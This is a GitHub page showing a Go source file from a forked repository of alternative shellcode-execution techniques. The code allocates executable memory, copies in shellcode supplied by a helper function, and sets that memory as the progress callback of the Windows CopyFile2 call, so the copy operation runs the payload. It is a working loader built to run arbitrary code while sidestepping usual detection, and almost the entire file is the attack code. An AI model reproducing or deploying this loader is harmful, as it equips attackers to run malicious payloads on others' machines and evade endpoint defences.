forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCopyFile2.go
More file actions
55 lines (44 loc) · 1.48 KB
/
Copy pathCopyFile2.go
File metadata and controls
55 lines (44 loc) · 1.48 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
import (
"AlternativeShellcodeExec/pkg/util"
"fmt"
"syscall"
"unsafe"
)
// ok
const (
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
COPY_FILE_FAIL_IF_EXISTS = 0x1
)
type COPYFILE2_EXTENDED_PARAMETERS struct {
dwSize uint32
dwCopyFlags uint32
pfCancel uintptr
pProgressRoutine uintptr
pvCallbackContext uintptr
}
func Run(op []byte) {
kernel32 := syscall.MustLoadDLL("kernel32.dll")
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
rtlcMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
copyFile2 := kernel32.MustFindProc("CopyFile2")
deleteFileW := kernel32.MustFindProc("DeleteFileW")
addr, _, _ := virtualAlloc.Call(0, uintptr(len(op)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
_, _, _ = rtlcMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&op[0])), uintptr(len(op)))
params := COPYFILE2_EXTENDED_PARAMETERS{
dwSize: uint32(unsafe.Sizeof(COPYFILE2_EXTENDED_PARAMETERS{})),
dwCopyFlags: COPY_FILE_FAIL_IF_EXISTS,
pfCancel: 0,
pProgressRoutine: uintptr(addr),
pvCallbackContext: 0,
}
srcPath, _ := syscall.UTF16PtrFromString("C:\\Windows\\DirectX.log")
destPath, _ := syscall.UTF16PtrFromString("C:\\Windows\\Temp\\backup.log")
_, _, _ = deleteFileW.Call(uintptr(unsafe.Pointer(destPath)))
_, _, _ = copyFile2.Call(uintptr(unsafe.Pointer(srcPath)), uintptr(unsafe.Pointer(destPath)), uintptr(unsafe.Pointer(¶ms)))
fmt.Println("Done.")
}
func main() {
Run(util.ShellCode())
}